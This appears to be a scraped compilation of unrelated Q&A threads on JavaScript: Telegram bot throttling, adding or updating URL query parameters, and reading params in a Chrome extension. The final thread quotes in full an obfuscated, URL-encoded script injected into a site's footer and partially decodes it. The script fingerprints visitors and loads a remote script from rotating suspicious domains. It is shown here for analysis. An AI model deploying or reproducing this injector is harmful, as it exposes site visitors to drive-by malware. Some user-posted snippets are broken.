Related
I am working on a telegram bot with the node-telegram-bot-api library. I made 2 buttons using keyboard. But when you click on them a lot, the bot will spam and sooner or later it will freeze. Is it possible to somehow put a delay for the user on messages.
if (text === '/start') {
return bot.sendMessage(chatId, 'hello', keyboardMain);
}
export const keyboardMain = {
reply_markup: JSON.stringify({
keyboard: [
[{
text: '/start',
},
],
resize_keyboard: true
})
};
You can create a user throttler using Javascript Map
/*
* #param {number} waitTime Seconds to wait
*/
function throttler(waitTime) {
const users = new Map()
return (chatId) => {
const now = parseInt(Date.now()/1000)
const hitTime = users.get(chatId)
if (hitTime) {
const diff = now - hitTime
if (diff < waitTime) {
return false
}
users.set(chatId, now)
return true
}
users.set(chatId, now)
return true
}
}
How to use:
You'll get the user's chatId from telegram api. You can use that id as an identifier and stop the user for given specific time.
For instance I'm gonna stop the user for 10seconds once the user requests.
// global 10 second throttler
const throttle = throttler(10) // 10 seconds
// in your code
const allowReply = throttle(chatId) // chatId obtained from telegram
if (allowReply) {
// reply to user
} else {
// dont reply
}
I tried using this code, put the function code in my function file, connected everything to the required file, and I don’t understand what to do next and where to insert the last code and what to do with it. I'm new to JavaScript and just learning.
import {
bot
} from '../token.js';
import {
throttler
} from '../functions/functions.js';
import {
keyboardMain
} from '../keyboards/keyboardsMain.js';
export function commands() {
bot.on('message', msg => {
const text = msg.text;
const chatId = msg.chat.id;
const throttle = throttler(10);
if (text === '/start') {
const allowReply = throttle(chatId) // chatId obtained from telegram
if (allowReply) {
return bot.sendMessage(chatId, 'hello', keyboardMain);
} else {
// dont reply
}
}
return bot.sendMessage(chatId, 'error');
});
}
Get the time when he pressed the button
Get the time of the next click
Take away the difference and set the condition (if, for example, more than 3 seconds have passed between clicks, then the user will not be frozen).
var token = ""; // FILL IN YOUR OWN TOKEN
var telegramUrl = "https://api.telegram.org/bot" + token;
var webAppUrl = ""; // FILLINYOUR GOOGLEWEBAPPADDRESS
var ssId = ""; // FILL IN THE ID OF YOUR SPREADSHEET
function getMe() {
var url = telegramUrl + "/getMe";
var response = UrlFetchApp.fetch(url);
Logger.log(response.getContentText());
}
function setWebhook() {
var url = telegramUrl + "/setWebhook?url=" + webAppUrl;
var response = UrlFetchApp.fetch(url);
Logger.log(response.getContentText());
}
function sendText(id,text) {
var url = telegramUrl + "/sendMessage?chat_id=" + id + "&text=" + text;
var response = UrlFetchApp.fetch(url);
Logger.log(response.getContentText());
}
function doGet(e) {
return HtmlService.createHtmlOutput("Hi there");
}
function doPost(e){
var data = JSON.parse(e.postData.contents);
var text = data.message.text;
var id = data.message.chat.id;
var msgbegan = SpreadsheetApp.openById(ssId).getSheets()[1].getRange("A7").getValue();
var msginfo = SpreadsheetApp.openById(ssId).getSheets()[1].getRange("A9").getValue();
var answer = "%0A" + msgbegan + "%0A" ;
///////////////////////
/*
* #param {number} waitTime Seconds to wait
*/
function throttler(waitTime) {
const users = new Map()
return (chatId) => {
const now = parseInt(Date.now()/1000)
const hitTime = users.get(chatId)
if (hitTime) {
const diff = now - hitTime
if (diff < waitTime) {
return false
}
users.set(chatId, now)
return true
}
users.set(chatId, now)
return true
}
}
// global 10 second throttler
const throttle = throttler(500) // 10 seconds
// in your code
const allowReply = throttle(chatId) // chatId obtained from telegram
if (allowReply) {
// reply to user
} else {
// dont reply
}
///////////////////////////////////////
if(text == "/start"){
sendText(id, answer);
} else if (text == "/info"){
sendText(id, msginfo);
}else{
if (text.length == 10){
var found = false;
var total_rows = SpreadsheetApp.openById(ssId).getSheets()[0].getMaxRows();
for(i=1; i<=total_rows; i++){
var loop_id = SpreadsheetApp.openById(ssId).getSheets()[0].getRange(i,2).getValue();
if(text == loop_id){
found = true;
found_at = i; // employee row
break;
}
}
if(found){
sendText(id, work_message);
}else{
var msgerrror = SpreadsheetApp.openById(ssId).getSheets()[1].getRange("A6").getValue();
var not_found = "%0A" + msgerrror+ "%0A" ;
sendText(id, not_found);
}
} else {
sendText(id, "eroor");
}
}
/////////////
var emp_name = SpreadsheetApp.openById(ssId).getSheets()[0].getRange(found_at,1).getValue();
var emp_work = SpreadsheetApp.openById(ssId).getSheets()[0].getRange(found_at,3).getValue();
var homeloc = SpreadsheetApp.openById(ssId).getSheets()[0].getRange(found_at,4).getValue();
var emp_location = SpreadsheetApp.openById(ssId).getSheets()[0].getRange(found_at,8).getValue();
var emp_data = SpreadsheetApp.openById(ssId).getSheets()[0].getRange(found_at,5).getValue();
var emp_day = SpreadsheetApp.openById(ssId).getSheets()[0].getRange(found_at,6).getValue();
var emp_clock = SpreadsheetApp.openById(ssId).getSheets()[0].getRange(found_at,7).getValue();
var emp_location = SpreadsheetApp.openById(ssId).getSheets()[0].getRange(found_at,8).getValue();
var welcome = SpreadsheetApp.openById(ssId).getSheets()[1].getRange("A2").getValue();
var msgemp = SpreadsheetApp.openById(ssId).getSheets()[1].getRange("A3").getValue();
var msgloc = SpreadsheetApp.openById(ssId).getSheets()[1].getRange("A4").getValue();
var msgbay = SpreadsheetApp.openById(ssId).getSheets()[1].getRange("A5").getValue();
var msghome = SpreadsheetApp.openById(ssId).getSheets()[1].getRange("A8").getValue();
var msmobil = SpreadsheetApp.openById(ssId).getSheets()[1].getRange("A11").getValue();
var mstoday = SpreadsheetApp.openById(ssId).getSheets()[1].getRange("A13").getValue();
var msdata = SpreadsheetApp.openById(ssId).getSheets()[1].getRange("A14").getValue();
var msclock = SpreadsheetApp.openById(ssId).getSheets()[1].getRange("A15").getValue();
var work_message = welcome + emp_name +
"%0A" + msgemp + emp_work +
"%0A" + mstoday + emp_day +
"%0A" + msdata + emp_data +
"%0A" + msclock + emp_clock +
"%0A" + msghome + homeloc +
"%0A" + msgloc+ emp_location +
"%0A" + msgbay +
"%0A" + msmobil ;
}
Excuse me . I am a beginner
Is this the correct way
I am trying to add the parameter "referer=" to my url corresponding to the trafic referer of a new session.
I used some of the code from this topic... but it keeps reloading the page in a loop... then the url is like :
https://example.com?refere=facebookreferer=facebookreferer=facebook
Note:
I have been using this solution 1 :
function addOrUpdateUrlParam(name, value)
{
var ref = document.referrer;
var refsplit = ref.split(".")[1];
var href = window.location.href;
var regex = new RegExp("[&\\?]" + name + "=");
if(regex.test(href))
{
regex = new RegExp("([&\\?])" + name + "=\\d+");
{
else
{
if(href.indexOf("?") > -1)
window.location.href = href + "&" + name + "=" + value;
else
window.location.href = href + "?" + name + "=" + value;
}
if (refsplit != "example") {
return addOrUpdateUrlParam("referer", refsplit);
}
}
And this solution 2:
function () {
var ref = document.referrer;
var refsplit = ref.split(".")[1];
if (refsplit != "example") {
return location.search += "referer=" + refsplit;
}
}
Edit 1:
Thanks to Prasanth I improved the code to :
function () {
var ref = document.referrer;
var refsplit = ref.split(".")[1];
var currentUrl = location.href;
var url1 = currentUrl += "?referer="+refsplit;
var url2 = currentUrl += "&referer="+refsplit;
if(currentUrl.indexOf("?") < 0) {
return window.location = url1;
} else {
return window.location = url2;
}
}
However, it is returning both conditions :
https://example.com/?referer=facebook&referer=facebook
Edit 2:
So after many attempts, I achieved it by working with the parameters of the url (location.search) instead of the full url (location.href) :
function addRefererParam () {
var ref = document.referrer; //Get Referrer
var refDomain = ref.match(/[^(?:http:\/\/|www\.|https:\/\/)]([^\/]+)/i)[0]; //Extract Referrer Domain name for better readability
var params = location.search; //Get Url parameters
if (refDomain.match(/mydomain|null|undefined/i)) { //check if domain not null or own domain.
return params ;
} else {
return params += "utm_source=" + refDomain; //create new query string with referrer domain
}
}
However, it is no making a persistent query string through browsing... how can I make the new parameters persistent ?
Obtain the url of the current window and after the domain name just concat your url with &referer=value.
var currentUrl = location.href;
var paramsInUrl = currentUrl.split('&');
var flag = true;
for(var i in paramsInUrl)
{
if(!paramsInUrl[i].includes('referer=')
{
continue;
}
else
{
flag = false;
break;
}
}
if(flag)
{
currentUrl += '&referer='+value;
window.location = currentUrl;
}
For what it's worth (because the more generic question of just how to do this generally is what lead me to this post), I've made a 178 byte helper function that takes in an object of the query parameters you want to add to a url for a GET request (in similar format for how you might add headers to a request) and made an npm package for it here: https://www.npmjs.com/package/add-query-params-to-url
Hopefully this is helpful to some.
I have this URL:
site.fwx?position=1&archiveid=5000&columns=5&rows=20&sorting=ModifiedTimeAsc
what I need is to be able to change the 'rows' url param value to something i specify, lets say 10. And if the 'rows' doesn't exist, I need to add it to the end of the url and add the value i've already specified (10).
I've extended Sujoy's code to make up a function.
/**
* http://stackoverflow.com/a/10997390/11236
*/
function updateURLParameter(url, param, paramVal){
var newAdditionalURL = "";
var tempArray = url.split("?");
var baseURL = tempArray[0];
var additionalURL = tempArray[1];
var temp = "";
if (additionalURL) {
tempArray = additionalURL.split("&");
for (var i=0; i<tempArray.length; i++){
if(tempArray[i].split('=')[0] != param){
newAdditionalURL += temp + tempArray[i];
temp = "&";
}
}
}
var rows_txt = temp + "" + param + "=" + paramVal;
return baseURL + "?" + newAdditionalURL + rows_txt;
}
Function Calls:
var newURL = updateURLParameter(window.location.href, 'locId', 'newLoc');
newURL = updateURLParameter(newURL, 'resId', 'newResId');
window.history.replaceState('', '', updateURLParameter(window.location.href, "param", "value"));
Updated version that also take care of the anchors on the URL.
function updateURLParameter(url, param, paramVal)
{
var TheAnchor = null;
var newAdditionalURL = "";
var tempArray = url.split("?");
var baseURL = tempArray[0];
var additionalURL = tempArray[1];
var temp = "";
if (additionalURL)
{
var tmpAnchor = additionalURL.split("#");
var TheParams = tmpAnchor[0];
TheAnchor = tmpAnchor[1];
if(TheAnchor)
additionalURL = TheParams;
tempArray = additionalURL.split("&");
for (var i=0; i<tempArray.length; i++)
{
if(tempArray[i].split('=')[0] != param)
{
newAdditionalURL += temp + tempArray[i];
temp = "&";
}
}
}
else
{
var tmpAnchor = baseURL.split("#");
var TheParams = tmpAnchor[0];
TheAnchor = tmpAnchor[1];
if(TheParams)
baseURL = TheParams;
}
if(TheAnchor)
paramVal += "#" + TheAnchor;
var rows_txt = temp + "" + param + "=" + paramVal;
return baseURL + "?" + newAdditionalURL + rows_txt;
}
I think you want the query plugin.
E.g.:
window.location.search = jQuery.query.set("rows", 10);
This will work regardless of the current state of rows.
Quick little solution in pure js, no plugins needed:
function replaceQueryParam(param, newval, search) {
var regex = new RegExp("([?;&])" + param + "[^&;]*[;&]?");
var query = search.replace(regex, "$1").replace(/&$/, '');
return (query.length > 2 ? query + "&" : "?") + (newval ? param + "=" + newval : '');
}
Call it like this:
window.location = '/mypage' + replaceQueryParam('rows', 55, window.location.search)
Or, if you want to stay on the same page and replace multiple params:
var str = window.location.search
str = replaceQueryParam('rows', 55, str)
str = replaceQueryParam('cols', 'no', str)
window.location = window.location.pathname + str
edit, thanks Luke: To remove the parameter entirely, pass false or null for the value: replaceQueryParam('rows', false, params). Since 0 is also falsy, specify '0'.
To answer my own question 4 years later, after having learned a lot. Especially that you shouldn't use jQuery for everything. I've created a simple module that can parse/stringify a query string. This makes it easy to modify the query string.
You can use query-string as follows:
// parse the query string into an object
var q = queryString.parse(location.search);
// set the `row` property
q.rows = 10;
// convert the object to a query string
// and overwrite the existing query string
location.search = queryString.stringify(q);
A modern approach to this is to use native standard based URLSearchParams. It's supported by all major browsers, except for IE where they're polyfills available
const paramsString = "site.fwx?position=1&archiveid=5000&columns=5&rows=20&sorting=ModifiedTimeAsc"
const searchParams = new URLSearchParams(paramsString);
searchParams.set('rows', 10);
console.log(searchParams.toString()); // return modified string.
Ben Alman has a good jquery querystring/url plugin here that allows you to manipulate the querystring easily.
As requested -
Goto his test page here
In firebug enter the following into the console
jQuery.param.querystring(window.location.href, 'a=3&newValue=100');
It will return you the following amended url string
http://benalman.com/code/test/js-jquery-url-querystring.html?a=3&b=Y&c=Z&newValue=100#n=1&o=2&p=3
Notice the a querystring value for a has changed from X to 3 and it has added the new value.
You can then use the new url string however you wish e.g
using document.location = newUrl or change an anchor link etc
This is the modern way to change URL parameters:
function setGetParam(key,value) {
if (history.pushState) {
var params = new URLSearchParams(window.location.search);
params.set(key, value);
var newUrl = window.location.origin
+ window.location.pathname
+ '?' + params.toString();
window.history.pushState({path:newUrl},'',newUrl);
}
}
you can do it via normal JS also
var url = document.URL
var newAdditionalURL = "";
var tempArray = url.split("?");
var baseURL = tempArray[0];
var aditionalURL = tempArray[1];
var temp = "";
if(aditionalURL)
{
var tempArray = aditionalURL.split("&");
for ( var i in tempArray ){
if(tempArray[i].indexOf("rows") == -1){
newAdditionalURL += temp+tempArray[i];
temp = "&";
}
}
}
var rows_txt = temp+"rows=10";
var finalURL = baseURL+"?"+newAdditionalURL+rows_txt;
Use URLSearchParams to check, get and set the parameters value into URL
Here is the example to get the current URL and set new parameter and update the URL or reload the page as per your needs
var rows = 5; // value that you want to set
var url = new URL(window.location);
(url.searchParams.has('rows') ? url.searchParams.set('rows', rows) : url.searchParams.append('rows', rows));
url.search = url.searchParams;
url = url.toString();
// if you want to append into URL without reloading the page
history.pushState({}, null, url);
// want to reload the window with a new param
window.location = url;
2020 Solution: sets the variable or removes iti if you pass null or undefined to the value.
var setSearchParam = function(key, value) {
if (!window.history.pushState) {
return;
}
if (!key) {
return;
}
var url = new URL(window.location.href);
var params = new window.URLSearchParams(window.location.search);
if (value === undefined || value === null) {
params.delete(key);
} else {
params.set(key, value);
}
url.search = params;
url = url.toString();
window.history.replaceState({url: url}, null, url);
}
Would a viable alternative to String manipulation be to set up an html form and just modify the value of the rows element?
So, with html that is something like
<form id='myForm' target='site.fwx'>
<input type='hidden' name='position' value='1'/>
<input type='hidden' name='archiveid' value='5000'/>
<input type='hidden' name='columns' value='5'/>
<input type='hidden' name='rows' value='20'/>
<input type='hidden' name='sorting' value='ModifiedTimeAsc'/>
</form>
With the following JavaScript to submit the form
var myForm = document.getElementById('myForm');
myForm.rows.value = yourNewValue;
myForm.submit();
Probably not suitable for all situations, but might be nicer than parsing the URL string.
URL query parameters can be easily modified using URLSearchParams and History interfaces:
// Construct URLSearchParams object instance from current URL querystring.
var queryParams = new URLSearchParams(window.location.search);
// Set new or modify existing parameter value.
//queryParams.set("myParam", "myValue");
queryParams.set("rows", "10");
// Replace current querystring with the new one.
history.replaceState(null, null, "?"+queryParams.toString());
Alternatively instead of modifying current history entry using replaceState() we can use pushState() method to create a new one:
history.pushState(null, null, "?"+queryParams.toString());
https://zgadzaj.com/development/javascript/how-to-change-url-query-parameter-with-javascript-only
You can use this my library to do the job: https://github.com/Mikhus/jsurl
var url = new Url('site.fwx?position=1&archiveid=5000&columns=5&rows=20&sorting=ModifiedTimeAsc');
url.query.rows = 10;
alert( url);
Consider this one:
const myUrl = new URL("http://www.example.com?columns=5&rows=20");
myUrl.searchParams.set('rows', 10);
console.log(myUrl.href); // http://www.example.com?columns=5&rows=10
myUrl.searchParams.set('foo', 'bar'); // add new param
console.log(myUrl.href); // http://www.example.com?columns=5&rows=10&foo=bar
It will do exactly the same thing you required. Please note URL must have correct format. In your example you have to specify protocol (either http or https)
I wrote a little helper function that works with any select. All you need to do is add the class "redirectOnChange" to any select element, and this will cause the page to reload with a new/changed querystring parameter, equal to the id and value of the select, e.g:
<select id="myValue" class="redirectOnChange">
<option value="222">test222</option>
<option value="333">test333</option>
</select>
The above example would add "?myValue=222" or "?myValue=333" (or using "&" if other params exist), and reload the page.
jQuery:
$(document).ready(function () {
//Redirect on Change
$(".redirectOnChange").change(function () {
var href = window.location.href.substring(0, window.location.href.indexOf('?'));
var qs = window.location.href.substring(window.location.href.indexOf('?') + 1, window.location.href.length);
var newParam = $(this).attr("id") + '=' + $(this).val();
if (qs.indexOf($(this).attr("id") + '=') == -1) {
if (qs == '') {
qs = '?'
}
else {
qs = qs + '&'
}
qs = qs + newParam;
}
else {
var start = qs.indexOf($(this).attr("id") + "=");
var end = qs.indexOf("&", start);
if (end == -1) {
end = qs.length;
}
var curParam = qs.substring(start, end);
qs = qs.replace(curParam, newParam);
}
window.location.replace(href + '?' + qs);
});
});
Using javascript URL:
var url = new URL(window.location);
(url.searchParams.has('rows') ? url.searchParams.set('rows', rows) : url.searchParams.append('rows', rows));
window.location = url;
var url = new URL(window.location.href);
var search_params = url.searchParams;
search_params.set("param", value);
url.search = search_params.toString();
var new_url = url.pathname + url.search;
window.history.replaceState({}, '', new_url);
Here I have taken Adil Malik's answer and fixed the 3 issues I identified with it.
/**
* Adds or updates a URL parameter.
*
* #param {string} url the URL to modify
* #param {string} param the name of the parameter
* #param {string} paramVal the new value for the parameter
* #return {string} the updated URL
*/
self.setParameter = function (url, param, paramVal){
// http://stackoverflow.com/a/10997390/2391566
var parts = url.split('?');
var baseUrl = parts[0];
var oldQueryString = parts[1];
var newParameters = [];
if (oldQueryString) {
var oldParameters = oldQueryString.split('&');
for (var i = 0; i < oldParameters.length; i++) {
if(oldParameters[i].split('=')[0] != param) {
newParameters.push(oldParameters[i]);
}
}
}
if (paramVal !== '' && paramVal !== null && typeof paramVal !== 'undefined') {
newParameters.push(param + '=' + encodeURI(paramVal));
}
if (newParameters.length > 0) {
return baseUrl + '?' + newParameters.join('&');
} else {
return baseUrl;
}
}
In the URLSearchParams documentation, there's a very clean way of doing this, without affecting the history stack.
// URL: https://example.com?version=1.0
const params = new URLSearchParams(location.search);
params.set('version', 2.0);
window.history.replaceState({}, '', `${location.pathname}?${params}`);
// URL: https://example.com?version=2.0
Similarily, to remove a parameter
params.delete('version')
window.history.replaceState({}, '', `${location.pathname}?${params}`);
// URL: https://example.com?
let url= new URL("https://example.com/site.fwx?position=1&archiveid=5000&columns=5&rows=20&sorting=ModifiedTimeAsc")
url.searchParams.set('rows', 10)
console.log(url.toString())
Here is what I do. Using my editParams() function, you can add, remove, or change any parameter, then use the built in replaceState() function to update the URL:
window.history.replaceState('object or string', 'Title', 'page.html' + editParams('sorting', ModifiedTimeAsc));
// background functions below:
// add/change/remove URL parameter
// use a value of false to remove parameter
// returns a url-style string
function editParams (key, value) {
key = encodeURI(key);
var params = getSearchParameters();
if (Object.keys(params).length === 0) {
if (value !== false)
return '?' + key + '=' + encodeURI(value);
else
return '';
}
if (value !== false)
params[key] = encodeURI(value);
else
delete params[key];
if (Object.keys(params).length === 0)
return '';
return '?' + $.map(params, function (value, key) {
return key + '=' + value;
}).join('&');
}
// Get object/associative array of URL parameters
function getSearchParameters () {
var prmstr = window.location.search.substr(1);
return prmstr !== null && prmstr !== "" ? transformToAssocArray(prmstr) : {};
}
// convert parameters from url-style string to associative array
function transformToAssocArray (prmstr) {
var params = {},
prmarr = prmstr.split("&");
for (var i = 0; i < prmarr.length; i++) {
var tmparr = prmarr[i].split("=");
params[tmparr[0]] = tmparr[1];
}
return params;
}
My solution:
const setParams = (data) => {
if (typeof data !== 'undefined' && typeof data !== 'object') {
return
}
let url = new URL(window.location.href)
const params = new URLSearchParams(url.search)
for (const key of Object.keys(data)) {
if (data[key] == 0) {
params.delete(key)
} else {
params.set(key, data[key])
}
}
url.search = params
url = url.toString()
window.history.replaceState({ url: url }, null, url)
}
Then just call "setParams" and pass an object with data you want to set.
Example:
$('select').on('change', e => {
const $this = $(e.currentTarget)
setParams({ $this.attr('name'): $this.val() })
})
In my case I had to update a html select input when it changes and if the value is "0", remove the parameter. You can edit the function and remove the parameter from the url if the object key is "null" as well.
Hope this helps yall
If you want to change the url in address bar:
const search = new URLSearchParams(location.search);
search.set('rows', 10);
location.search = search.toString();
Note, changing location.search reloads the page.
Here is a simple solution using the query-string library.
const qs = require('query-string')
function addQuery(key, value) {
const q = qs.parse(location.search)
const url = qs.stringifyUrl(
{
url: location.pathname,
query: {
...q,
[key]: value,
},
},
{ skipEmptyString: true }
);
window.location.href = url
// if you are using Turbolinks
// add this: Turbolinks.visit(url)
}
// Usage
addQuery('page', 2)
If you are using react without react-router
export function useAddQuery() {
const location = window.location;
const addQuery = useCallback(
(key, value) => {
const q = qs.parse(location.search);
const url = qs.stringifyUrl(
{
url: location.pathname,
query: {
...q,
[key]: value,
},
},
{ skipEmptyString: true }
);
window.location.href = url
},
[location]
);
return { addQuery };
}
// Usage
const { addQuery } = useAddQuery()
addQuery('page', 2)
If you are using react with react-router
export function useAddQuery() {
const location = useLocation();
const history = useHistory();
const addQuery = useCallback(
(key, value) => {
let pathname = location.pathname;
let searchParams = new URLSearchParams(location.search);
searchParams.set(key, value);
history.push({
pathname: pathname,
search: searchParams.toString()
});
},
[location, history]
);
return { addQuery };
}
// Usage
const { addQuery } = useAddQuery()
addQuery('page', 2)
PS: qs is the import from query-string module.
Another variation on Sujoy's answer. Just changed the variable names & added a namespace wrapper:
window.MyNamespace = window.MyNamespace || {};
window.MyNamespace.Uri = window.MyNamespace.Uri || {};
(function (ns) {
ns.SetQueryStringParameter = function(url, parameterName, parameterValue) {
var otherQueryStringParameters = "";
var urlParts = url.split("?");
var baseUrl = urlParts[0];
var queryString = urlParts[1];
var itemSeparator = "";
if (queryString) {
var queryStringParts = queryString.split("&");
for (var i = 0; i < queryStringParts.length; i++){
if(queryStringParts[i].split('=')[0] != parameterName){
otherQueryStringParameters += itemSeparator + queryStringParts[i];
itemSeparator = "&";
}
}
}
var newQueryStringParameter = itemSeparator + parameterName + "=" + parameterValue;
return baseUrl + "?" + otherQueryStringParameters + newQueryStringParameter;
};
})(window.MyNamespace.Uri);
Useage is now:
var changedUrl = MyNamespace.Uri.SetQueryStringParameter(originalUrl, "CarType", "Ford");
I too have written a library for getting and setting URL query parameters in JavaScript.
Here is an example of its usage.
var url = Qurl.create()
, query
, foo
;
Get query params as an object, by key, or add/change/remove.
// returns { foo: 'bar', baz: 'qux' } for ?foo=bar&baz=qux
query = url.query();
// get the current value of foo
foo = url.query('foo');
// set ?foo=bar&baz=qux
url.query('foo', 'bar');
url.query('baz', 'qux');
// unset foo, leaving ?baz=qux
url.query('foo', false); // unsets foo
I was looking for the same thing and found: https://github.com/medialize/URI.js which is quite nice :)
-- Update
I found a better package: https://www.npmjs.org/package/qs it also deals with arrays in get params.
No library, using URL() WebAPI (https://developer.mozilla.org/en-US/docs/Web/API/URL)
function setURLParameter(url, parameter, value) {
let url = new URL(url);
if (url.searchParams.get(parameter) === value) {
return url;
}
url.searchParams.set(parameter, value);
return url.href;
}
This doesn't work on IE: https://developer.mozilla.org/en-US/docs/Web/API/URL#Browser_compatibility
I know this is an old question. I have enhanced the function above to add or update query params. Still a pure JS solution only.
function addOrUpdateQueryParam(param, newval, search) {
var questionIndex = search.indexOf('?');
if (questionIndex < 0) {
search = search + '?';
search = search + param + '=' + newval;
return search;
}
var regex = new RegExp("([?;&])" + param + "[^&;]*[;&]?");
var query = search.replace(regex, "$1").replace(/&$/, '');
var indexOfEquals = query.indexOf('=');
return (indexOfEquals >= 0 ? query + '&' : query + '') + (newval ? param + '=' + newval : '');
}
my function support removing param
function updateURLParameter(url, param, paramVal, remove = false) {
var newAdditionalURL = '';
var tempArray = url.split('?');
var baseURL = tempArray[0];
var additionalURL = tempArray[1];
var rows_txt = '';
if (additionalURL)
newAdditionalURL = decodeURI(additionalURL) + '&';
if (remove)
newAdditionalURL = newAdditionalURL.replace(param + '=' + paramVal, '');
else
rows_txt = param + '=' + paramVal;
window.history.replaceState('', '', (baseURL + "?" + newAdditionalURL + rows_txt).replace('?&', '?').replace('&&', '&').replace(/\&$/, ''));
}
As seen below I'm trying to get #currentpage to pass client params
Can someone help out thanks.
$(document).ready(function() {
window.addEventListener("load", windowLoaded, false);
function windowLoaded() {
chrome.tabs.getSelected(null, function(tab) {
document.getElementById('currentpage').innerHTML = tab.url;
});
}
var url = $("currentpage");
// yes I relize this is the part not working.
var client = jQuery.param("currentpage");
var page = jQuery.param("currentpage");
var devurl = "http://#/?clientsNumber=" + client + "&pageName=" + page ;
});
This is a method to extract the params from a url
function getUrlParams(url) {
var paramMap = {};
var questionMark = url.indexOf('?');
if (questionMark == -1) {
return paramMap;
}
var parts = url.substring(questionMark + 1).split("&");
for (var i = 0; i < parts.length; i ++) {
var component = parts[i].split("=");
paramMap [decodeURIComponent(component[0])] = decodeURIComponent(component[1]);
}
return paramMap;
}
Here's how to use it in your code
var url = "?c=231171&p=home";
var params = getUrlParams(url);
var devurl = "http://site.com/?c=" + encodeURIComponent(params.c) + "&p=" + encodeURIComponent(params.p) + "&genphase2=true";
// devurl == "http://site.com/?c=231171&p=home&genphase2=true"
See it in action http://jsfiddle.net/mendesjuan/TCpsD/
Here's the code you posted with minimal changes to get it working, it also uses $.param as it's intended, that is to create a query string from a JS object, this works well since my suggested function returns an object from the url
$(document).ready(function() {
// This does not handle arrays because it's not part of the official specs
// PHP and some other server side languages support it but there's no official
// consensus
function getUrlParams(url) {
var paramMap = {};
var questionMark = url.indexOf('?');
if (questionMark == -1) {
return paramMap;
}
var parts = url.substring(questionMark + 1).split("&");
for (var i = 0; i < parts.length; i ++) {
var component = parts[i].split("=");
paramMap [decodeURIComponent(component[0])] = decodeURIComponent(component[1]);
}
return paramMap;
}
// no need for the extra load listener here, jquery.ready already puts
// your code in the onload
chrome.tabs.getSelected(null, function(tab) {
document.getElementById('currentpage').innerHTML = tab.url;
});
var url = $("currentpage");
var paramMap = getUrlParams(url);
// Add the genphase parameter to the param map
paramMap.genphase2 = true;
// Use jQuery.param to create the url to click on
var devurl = "http://site.com/?"+ jQuery.param(paramMap);
$('#mydev').click( function(){
window.open(devurl);
});
});
I had the following injected into the footer of a site of mine and, in an effort of solving the greater mystery ("How" it happened), I'm trying to decode it. Any ideas?
Here's the code:
<ads><script type="text/javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%61%3D%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2C%62%3D%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%2C%63%3D%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%20%69%66%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%69%6E%64%65%78%4F%66%28%22%68%6F%6C%79%63%6F%6F%6B%69%65%22%29%3D%3D%2D%31%26%26%21%61%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%62%29%26%26%63%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%21%3D%2D%31%29%7B%76%61%72%20%64%3D%5B%22%6D%79%61%64%73%2E%6E%61%6D%65%22%2C%22%61%64%73%6E%65%74%2E%62%69%7A%22%2C%22%74%6F%6F%6C%62%61%72%63%6F%6D%2E%6F%72%67%22%2C%22%6D%79%62%61%72%2E%75%73%22%2C%22%66%72%65%65%61%64%2E%6E%61%6D%65%22%5D%2C%65%3D%5B%22%76%61%67%69%2E%22%2C%22%76%61%69%6E%2E%22%2C%22%76%61%6C%65%2E%22%2C%22%76%61%72%73%2E%22%2C%22%76%61%72%79%2E%22%2C%22%76%61%73%61%2E%22%2C%22%76%61%75%74%2E%22%2C%22%76%61%76%73%2E%22%2C%22%76%69%6E%79%2E%22%2C%22%76%69%6F%6C%2E%22%2C%22%76%72%6F%77%2E%22%2C%22%76%75%67%73%2E%22%2C%22%76%75%6C%6E%2E%22%5D%2C%66%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%2E%6C%65%6E%67%74%68%29%2C%67%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%65%2E%6C%65%6E%67%74%68%29%3B%64%74%3D%6E%65%77%20%44%61%74%65%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%2B%39%30%37%32%45%34%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%6F%6C%79%63%6F%6F%6B%69%65%3D%22%2B%65%73%63%61%70%65%28%22%68%6F%6C%79%63%6F%6F%6B%69%65%22%29%2B%22%3B%65%78%70%69%72%65%73%3D%22%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%65%5B%67%5D%2B%64%5B%66%5D%2B%27%2F%73%79%73%74%65%6D%2F%63%61%70%74%69%6F%6E%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));</script></ads>
You can decode the string using this tool. Set string conversion options to URL and Decode. Then you can pretty it up with js beautifier.
And because I'm a curious sort, I took a look at the output. It's writing a new caption.js file to your pages from a semi-random domain. There are 2 arrays of URL segments that are used to build the full domain, so I'd say you've got something to go with.
<script language="javascript" type="text/javascript">
var a = window.navigator.userAgent,
b = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,
c = navigator.appVersion;
if (document.cookie.indexOf("holycookie") == -1 && !a.toLowerCase().match(b) && c.toLowerCase().indexOf("win") != -1) {
var d = ["myads.name", "adsnet.biz", "toolbarcom.org", "mybar.us", "freead.name"],
